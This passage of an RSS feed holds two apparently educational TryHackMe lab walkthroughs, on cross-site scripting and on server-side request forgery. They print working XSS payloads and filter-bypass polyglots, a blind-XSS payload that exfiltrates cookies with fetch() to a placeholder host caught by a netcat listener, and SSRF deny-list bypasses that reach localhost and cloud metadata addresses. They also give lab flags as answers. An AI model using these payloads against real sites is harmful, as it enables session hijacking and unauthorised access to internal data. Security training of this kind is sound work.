src="https://cdn-images-1.medium.com/max/441/1*uuLZGt-REjY-R-AnVHwr8g.png" /></figure><p><strong>Level Four:</strong></p><p>Entering your name into the form, you’ll see it reflected on the page. This level looks similar to level one, but upon inspecting the page source, you’ll see your name gets reflected in some JavaScript code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/441/1*uikrL3sUpenQTogVBhnWxA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*1GxyPp2oFBmDbpUVNk0z_Q.png" /></figure><p>You’ll have to escape the existing JavaScript command, so you’re able to run your code; you can do this with the following payload &#39;;alert(&#39;THM&#39;);// which you&#39;ll see from the below screenshot will execute your code. The &#39; closes the field specifying the name, then ; signifies the end of the current command, and the // at the end makes anything after it a comment rather than executable code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*gAcNHss-U8JkCgA9duB_qA.png" /></figure><p>Now when you click the enter button, you’ll get an alert popup with the string <strong>THM</strong>. And then, you’ll get a confirmation message that your payload was successful with a link to the next level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/321/1*qLi_5CsayBxwJzAswp-vnw.png" /></figure><p><strong>Level Five:</strong></p><p>Now, this level looks the same as level one, and your name also gets reflected in the same place. But if you try the &lt;script&gt;alert(&#39;THM&#39;);&lt;/script&gt; payload, it won&#39;t work. When you view the page source, you&#39;ll see why.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/380/1*m2Dmw5oEb3JB5KDg8I3Q-A.png" /></figure><p>The word script gets removed from your payload, that&#39;s because there is a filter that strips out any potentially dangerous words.</p><p>When a word gets removed from a string, there&#39;s a helpful trick that you can try.</p><p><strong>Original Payload:</strong></p><p>&lt;sscriptcript&gt;alert(&#39;THM&#39;);&lt;/sscriptcript&gt;</p><p><strong>Text to be removed (by the filter):</strong></p><p>&lt;s<strong>script</strong>cript&gt;alert(&#39;THM&#39;);&lt;/s<strong>script</strong>cript&gt;</p><p><strong>Final Payload (after passing the filter):</strong></p><p>&lt;script&gt;alert(&#39;THM&#39;);&lt;/script&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*mVRHoUP5RTUbN6BrcbEQtg.png" /></figure><p>Try entering the payload &lt;sscriptcript&gt;alert(&#39;THM&#39;);&lt;/sscriptcript&gt; and click the enter button, you&#39;ll get an alert popup with the string <strong>THM</strong>. And then, you&#39;ll get a confirmation message that your payload was successful with a link to the next level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*_txJsERGbI0IMmsNuq4Gjg.png" /></figure><p><strong>Level Six:</strong></p><p>Similar to level two, where we had to escape from the value attribute of an input tag, we can try &quot;&gt;&lt;script&gt;alert(&#39;THM&#39;);&lt;/script&gt; , but that doesn&#39;t seem to work. Let&#39;s inspect the page source to see why that doesn&#39;t work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*0ejIRvaXkCkhV-Cm20jLdA.png" /></figure><p>You can see that the &lt; and &gt; characters get filtered out from our payload, preventing us from escaping the IMG tag. To get around the filter, we can take advantage of the additional attributes of the IMG tag, such as the onload event. The onload event executes the code of your choosing once the image specified in the src attribute has loaded onto the web page.</p><p>Let’s change our payload to reflect this /images/cat.jpg&quot; onload=&quot;alert(&#39;THM&#39;); and then viewing the page source, and you&#39;ll see how this will work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*xhJ8XsIzTvD55OF2TxwcdA.png" /></figure><p>Now when you click the enter button, you’ll get an alert popup with the string <strong>THM</strong>. And then, you’ll get a confirmation message that your payload was successful; with this being the last level, you’ll receive a flag that can be entered below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*V3QXDXD9OQWJOiVfjg2hWg.png" /></figure><p><strong>Polyglots:</strong></p><p>An XSS polyglot is a string of text which can escape attributes, tags and bypass filters all in one. You could have used the below polyglot on all six levels you’ve just completed, and it would have executed the code successfully.</p><p>jaVasCript:/*-/*`/*\`/*&#39;/*&quot;/**/(/* */onerror=alert(&#39;THM&#39;) )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert(&#39;THM&#39;)//&gt;\x3e</p><p><strong>Question:</strong></p><p><strong>Q: </strong>What is the flag you received from level six?</p><p><strong>A: </strong>THM{XSS_MASTER}</p><blockquote><strong>Practical Example (Blind XSS)</strong></blockquote><p>For the last task, we will go over a Blind XSS vulnerability. Ensure you terminate the previous machine and then click on the green Start Machine button on the right to load the Acme IT Support website. You’ll need to use the AttackBox using the blue button at the top of the page. Once loaded, open the link below inside the AttackBox’s Firefox browser to view the target website.</p><p><a href="https://lab_web_url.p.thmlabs.com/">https://LAB_WEB_URL.p.thmlabs.com</a></p><p>Click on the <strong>Customers</strong> tab on the top navigation bar and click the “<strong>Signup here</strong>” link to create an account. Once your account gets set up, click the <strong>Support Tickets</strong> tab, which is the feature we will investigate for weaknesses.</p><p>Try creating a support ticket by clicking the green Create Ticket button, enter the subject and content of just the word test and then click the blue Create Ticket button. You’ll now notice your new ticket in the list with an id number which you can click to take you to your newly created ticket.</p><p>Like task three, we will investigate how the previously entered text gets reflected on the page. Upon viewing the page source, we can see the text gets placed inside a textarea tag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*4WnuoPN5M6JT1iZVvxX2nQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*mpqfC6erSRI533pAeMvLeg.png" /></figure><p>Let’s now go back and create another ticket. Let’s see if we can escape the textarea tag by entering the following payload into the ticket contents:</p><p>&lt;/textarea&gt;test</p><p>Again, opening the ticket and viewing the page source, we’ve successfully escaped the textarea tag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*rz-jSbuHSponkq9LH0wjCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*7CO0ScC-dmstyidKfH-dlQ.png" /></figure><p>Let’s now expand on this payload to see if we can run JavaScript and confirm that the ticket creation feature is vulnerable to an XSS attack. Try another new ticket with the following payload:</p><p>&lt;/textarea&gt;&lt;script&gt;alert(&#39;THM&#39;);&lt;/script&gt;</p><p>Now when you view the ticket, you should get an alert box with the string <strong>THM</strong>. We’re going to now expand the payload even further and increase the vulnerability’s impact. Because this feature is creating a support ticket, we can be reasonably confident that a staff member will also view this ticket which we could get to execute JavaScript.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*zuj9_c5PQ1V0U4Y-SJHdmg.png" /></figure><p>Some helpful information to extract from another user would be their cookies, which we could use to elevate our privileges by hijacking their login session. To do this, our payload will need to extract the user’s cookie and exfiltrate it to another webserver of our choice. Firstly, we’ll need to set up a listening server to receive the information.</p><p>Using the AttackBox, let’s set up a listening server using Netcat. If we want to listen on port 9001, we issue the command nc -l -p 9001. The -l option indicates that we want to use Netcat in listen mode, while the -p option is used to specify the port number. To avoid the resolution of hostnames via DNS, we can add -n; moreover, to discover any errors, running Netcat in verbose mode by adding the -v option is recommended. The final command becomes nc -n -l -v -p 9001, equivalent to nc -nlvp 9001.</p><p>nc</p><pre>user@machine$ nc -nlvp 9001<br>Listening on [0.0.0.0] (family 0, port 9001)</pre><p>Now that we’ve set up the method of receiving the exfiltrated information, let’s build the payload.</p><p>&lt;/textarea&gt;&lt;script&gt;fetch(&#39;http://URL_OR_IP:PORT_NUMBER?cookie=&#39; + btoa(document.cookie) );&lt;/script&gt;</p><p>Let’s break down the payload:</p><ul><li>The &lt;/textarea&gt; tag closes the text area field.</li><li>The &lt;script&gt; tag opens an area for us to write JavaScript.</li><li>The fetch() command makes an HTTP request.</li><li>URL_OR_IP is either the THM request catcher URL, your IP address from the THM AttackBox, or your IP address on the THM VPN Network.</li><li>PORT_NUMBER is the port number you are using to listen for connections on the AttackBox.</li><li>?cookie= is the query string containing the victim’s cookies.</li><li>btoa() command base64 encodes the victim’s cookies.</li><li>document.cookie accesses the victim’s cookies for the Acme IT Support Website.</li><li>&lt;/script&gt;closes the JavaScript code block.</li></ul><p>Now create another ticket using the above payload, making sure to swap out the URL_OR_IP:PORT_NUMBER variables with your settings (make sure to specify the port number as well for the Netcat listener). Now, wait up to a minute, and you will see the request come through containing the victim’s cookies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*tG9eID-1u1bckfZX3iUbAg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Gjpyr-TJnyDWaSIJW9mbQ.png" /></figure><p><strong>Note: You may encounter issues with receiving the request using your own VM and the VPN. It is recommended you use the AttackBox for this task.</strong></p><p>You can now base64 decode this information using a site like <a href="https://www.base64decode.org/">https://www.base64decode.org/</a>, giving you the necessary information to answer the below question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*_zAD5UJ1WYJFmdQ9c88CIg.png" /><figcaption>The result of the bas64 encoded cookie is: <strong>staff-session=4AB305E55955197693F01D6F8FD2D321</strong></figcaption></figure><p><strong>Question:</strong></p><p><strong>Q: </strong>What is the value of the staff-session cookie?</p><p><strong>A: </strong>4AB305E55955197693F01D6F8FD2D321</p><p><strong><em>Conclusion:</em></strong></p><p>This is a very interesting room on <strong><em>Cross-Site Scripting (XSS) </em></strong>that introduces learners to what XSS is, the types of XSS, various XSS payloads, and how to exploit XSS vulnerabilities.</p><p>Here’s the link to the room on <strong>TryHackMe</strong>: <a href="https://tryhackme.com/room/xss">https://tryhackme.com/room/xss</a>. Check it out, and solve the lab, if you haven’t.</p><p><strong>Note: </strong><em>It’s a premium room</em>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3c23392c8fa5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to Server-Side Request Forgery (SSRF) — TryHackMe Walkthrough.]]></title>
            <link>https://oluwakamiye.medium.com/introduction-to-server-side-request-forgery-ssrf-tryhackme-walkthrough-7e2efc631eb3?source=rss-824919a2e164------2</link>
            <guid isPermaLink="false">https://medium.com/p/7e2efc631eb3</guid>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Oluwakamiye Adeyemo]]></dc:creator>
            <pubDate>Sat, 14 Mar 2026 05:26:39 GMT</pubDate>
            <atom:updated>2026-03-14T05:26:39.906Z</atom:updated>
            <content:encoded><![CDATA[<p>This article explains how to exploit Server-Side Request Forgery (SSRF) vulnerabilities, allowing you to access internal server resources.</p><blockquote><strong>What is an SSRF?</strong></blockquote><p>SSRF stands for Server-Side Request Forgery. It’s a vulnerability that allows a malicious user to cause the webserver to make an additional or edited HTTP request to the resource of the attacker’s choosing.</p><p>In other words, it is when an attacker manipulates a vulnerable application to make requests to internal or external resources on behalf of the server. This can lead to serious security risks, like data exposure, unauthorised access to internal systems, or service disruptions.</p><p><strong>Types of SSRF</strong></p><p>There are two types of SSRF vulnerability; the first is a <strong>Regular SSRF</strong> where data is returned to the attacker’s screen. The second is a <strong>Blind SSRF</strong> vulnerability where an SSRF occurs, but no information is returned to the attacker’s screen.</p><p><strong>What’s the Impact?</strong></p><p>A successful SSRF attack can result in any of the following:</p><ul><li>Access to unauthorised areas.</li><li>Access to customer/organisational data.</li><li>Ability to scale to internal networks.</li><li>Reveal of authentication tokens/credentials.</li></ul><p><strong>Questions:</strong></p><p><strong>Q:</strong> What does SSRF stand for?</p><p><strong>A: </strong>Server-Side Request Forgery</p><p><strong>Q: </strong>As opposed to a regular SSRF, what is the other type?</p><p><strong>A: </strong>Blind</p><blockquote><strong>SSRF Examples</strong></blockquote><p>There’s a “<strong>View Site”</strong> button in this <strong><em>TryHackMe</em></strong> room, which will take you through some common SSRF examples, how to exploit them and even a simulation to see if you can take advantage of an SSRF vulnerability using what you’ve learnt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*91KpwY8Y_OudExSL_EH8SA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*BE5FubVguEsSEoEyMh9z1A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*ZH4ELQkHTmAEHBZdv8QDsA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*ssZDyMnAxLcYbf0U-w3mBQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*1lhUci0qeweGfaJRUJozxg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*2pgoNyKdSnCXo8DVqMQCxw.png" /><figcaption>Having a basic understanding of directory traversal can help in understanding SSRF vulnerabilities better. The correct address to get the flag is: <a href="https://website.thm/item/2?server=server.website.thm/flag?id=9&amp;x=">https://website.thm/item/2?server=server.website.thm/flag?id=9&amp;x=</a></figcaption></figure><p><strong>Question:</strong></p><p><strong>Q: </strong>What is the flag from the SSRF Examples site?</p><p><strong>A: </strong>THM{SSRF_MASTER}</p><blockquote><strong>Finding an SSRF</strong></blockquote><p>Potential SSRF vulnerabilities can be spotted in web applications in many different ways. Here is an example of four common places to look:</p><p><strong>When a full URL is used in a parameter in the address bar:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/0*TQS_nEaoB5MjK1Fx.png" /></figure><p><strong>A hidden field in a form:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/0*WBROpunX-DOu_qAN.png" /></figure><p><strong>A partial URL such as just the hostname:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/319/0*67CcSVwhEB8AL3Ml.png" /></figure><p><strong>Or perhaps only the path of the URL:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/382/0*Ea7gzQq5D2srp0VA.png" /></figure><p>Some of these examples are easier to exploit than others, and this is where a lot of trial and error will be required to find a working payload.</p><p>If working with a blind SSRF where no output is reflected back to you, you’ll need to use an external HTTP logging tool to monitor requests such as requestbin.com, your own HTTP server or Burp Suite’s Collaborator client.</p><p><strong><em>My take: </em></strong>No URL is too small to scrutinize.</p><p><strong>Question:</strong></p><p><strong>Q: </strong>Based on simple observation, which of the following URLs is more likely to be vulnerable to SSRF?</p><ol><li><a href="https://website.thm/index.php">https://website.thm/index.php</a></li><li><a href="https://website.thm/list-products.php?categoryId=5325">https://website.thm/list-products.php?categoryId=5325</a></li><li><a href="https://website.thm/fetch-file.php?fname=242533.pdf&amp;srv=filestorage.cloud.thm&amp;port=8001">https://website.thm/fetch-file.php?fname=242533.pdf&amp;srv=filestorage.cloud.thm&amp;port=8001</a></li><li><a href="https://website.thm/buy-item.php?itemId=213&amp;price=100&amp;q=2">https://website.thm/buy-item.php?itemId=213&amp;price=100&amp;q=2</a></li></ol><p><strong>A: 3</strong></p><blockquote><strong>Defeating Common SSRF Defenses</strong></blockquote><p>More security-savvy developers aware of the risks of SSRF vulnerabilities may implement checks in their applications to make sure the requested resource meets specific rules. There are usually two approaches to this, either a deny list or an allow list.</p><p><strong>Deny List</strong></p><p>A Deny List is where all requests are accepted apart from resources specified in a list or matching a particular pattern. A Web Application may employ a deny list to protect sensitive endpoints, IP addresses or domains from being accessed by the public while still allowing access to other locations. A specific endpoint to restrict access is the localhost, which may contain server performance data or further sensitive information, so domain names such as localhost and 127.0.0.1 would appear on a deny list. Attackers can bypass a Deny List by using alternative localhost references such as 0, 0.0.0.0, 0000, 127.1, 127.*.*.*, 2130706433, 017700000001 or subdomains that have a DNS record which resolves to the IP Address 127.0.0.1 such as 127.0.0.1.nip.io.</p><p>Also, in a cloud environment, it would be beneficial to block access to the IP address 169.254.169.254, which contains metadata for the deployed cloud server, including possibly sensitive information. An attacker can bypass this by registering a subdomain on their own domain with a DNS record that points to the IP Address 169.254.169.254.</p><p><strong>Allow List</strong></p><p>An allow list is where all requests get denied unless they appear on a list or match a particular pattern, such as a rule that an URL used in a parameter must begin with <a href="https://website.thm./"><strong>https://website.thm.</strong></a> An attacker could quickly circumvent this rule by creating a subdomain on an attacker’s domain name, such as <a href="https://website.thm.attackers-domain.thm./">https://website.thm.attackers-domain.thm.</a> The application logic would now allow this input and let an attacker control the internal HTTP request.</p><p><strong>Open Redirect</strong></p><p>If the above bypasses do not work, there is one more trick up the attacker’s sleeve, the open redirect. An open redirect is an endpoint on the server where the website visitor gets automatically redirected to another website address. Take, for example, the link <a href="https://website.thm/link?url=https://tryhackme.com.">https://website.thm/link?url=https://tryhackme.com.</a> This endpoint was created to record the number of times visitors have clicked on this link for advertising/marketing purposes. But imagine there was a potential SSRF vulnerability with stringent rules which only allowed URLs beginning with <a href="https://website.thm/">https://website.thm/.</a> An attacker could utilise the above feature to redirect the internal HTTP request to a domain of the attacker’s choice.</p><p><strong>Questions:</strong></p><p><strong>Q: </strong>What method can be used to bypass strict rules?</p><p><strong>A: </strong>Open Redirect</p><p><strong>Q: </strong>What IP address may contain sensitive data in a cloud environment?</p><p><strong>A: </strong>169.254.169.254</p><p><strong>Q: </strong>What type of list is used to <strong>permit</strong> only certain input?</p><p><strong>A: </strong>Allow List</p><p><strong>Q: </strong>What type of list is used to <strong>stop</strong> certain input?</p><p><strong>A: </strong>Deny List</p><blockquote><strong>SSRF Practical</strong></blockquote><p>Let’s put what we’ve learnt about SSRF to the test in a fictional scenario.</p><p>We’ve come across two new endpoints during a content discovery exercise against the <strong>Acme IT Support</strong> website. The first one is <strong>/private</strong>, which gives us an error message explaining that the contents cannot be viewed from our IP address. The second is a new version of the customer account page at <strong>/customers/new-account-page</strong> with a new feature allowing customers to choose an avatar for their account.</p><p>Begin by clicking the <strong>Start Machine</strong> button to launch the <strong>Acme IT Support</strong> website. Once running, visit it at the URL <a href="https://lab_web_url.p.thmlabs.com/">https://LAB_WEB_URL.p.thmlabs.com</a> and then follow the below instructions to get the flag.</p><p>First, create a customer account and sign in. Once you’ve signed in, visit <a href="https://lab_web_url.p.thmlabs.com/customers/new-account-page">https://LAB_WEB_URL.p.thmlabs.com/customers/new-account-page</a> to view the new avatar selection feature. By viewing the page source of the avatar form, you’ll see the avatar form field value contains the path to the image. The background-image style can confirm this in the above DIV element as per the screenshot below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/0*T_2CMiySiLROgffU.png" /></figure><p>If you choose one of the avatars and then click the <strong>Update Avatar</strong> button, you’ll see the form change and, above it, display your currently selected avatar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/372/0*glYDm1HSOVggx_38.png" /></figure><p>Viewing the page source will show your current avatar is displayed using the data URI scheme, and the image content is base64 encoded as per the screenshot below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/0*qBzBLauNPkGrB_aD.png" /></figure><p>Now let’s try making the request again but changing the avatar value to <strong>private</strong> in hopes that the server will access the resource and get past the IP address block. To do this, firstly, right-click on one of the radio buttons on the avatar form and select <strong>Inspect</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*ZcH3ySZp7M6Zzyw3.png" /></figure><p><strong>And then edit the value of the radio button to private:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/0*Al-UAYdNMBHe8msn.png" /></figure><p>Be sure to select the avatar you edited and then click the <strong>Update Avatar</strong> button. Unfortunately, it looks like the web application has a deny list in place and has blocked access to the /private endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/0*eaUhxkFnnqgbfoSG.png" /></figure><p>As you can see from the error message, the path cannot start with /private but don’t worry, we’ve still got a trick up our sleeve to bypass this rule. We can use a directory traversal trick to reach our desired endpoint. Try setting the avatar value to <strong>x/../private</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/0*Una83IxxDRoGa769.png" /></figure><p>You’ll see we have now bypassed the rule, and the user updated the avatar. This trick works because when the web server receives the request for <strong>x/../private</strong>, it knows that the <strong>../</strong> string means to move up a directory that now translates the request to just <strong>/private</strong>.</p><p>Viewing the page source of the avatar form, you’ll see the currently set avatar now contains the contents from the <strong>/private</strong> directory in base64 encoding, decode this content and it will reveal a flag that you can enter below.</p><p>Here is the <strong>base64 encoded content:</strong> VEhNe1lPVV9XT1JLRURfT1VUX1RIRV9TU1JGfQ==</p><p>To decode this, use: <a href="https://www.base64decode.org/">https://www.base64decode.org/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*2KOi7JUcGVflQx1iq2GjWA.png" /><figcaption>The output of the encoded content is: <strong>THM{YOU_WORKED_OUT_THE_SSRF}</strong></figcaption></figure><p><strong>Question:</strong></p><p><strong>Q:</strong> What is the flag from the /private directory?</p><p><strong>A: </strong>THM{YOU_WORKED_OUT_THE_SSRF}</p><p><strong><em>Conclusion:</em></strong></p><p>This is an exciting <strong><em>TryHackMe</em></strong> room that introduces you to <strong>SSRF </strong>vulnerabilities, how to find them, how to bypass common defenses, and how to exploit them.</p><p>Here’s the link to the room: <a href="https://tryhackme.com/room/ssrfqi">https://tryhackme.com/room/ssrfqi</a>. Check it out, if you haven’t!</p><p><strong>Note:</strong> It is a premium room.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7e2efc631eb3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>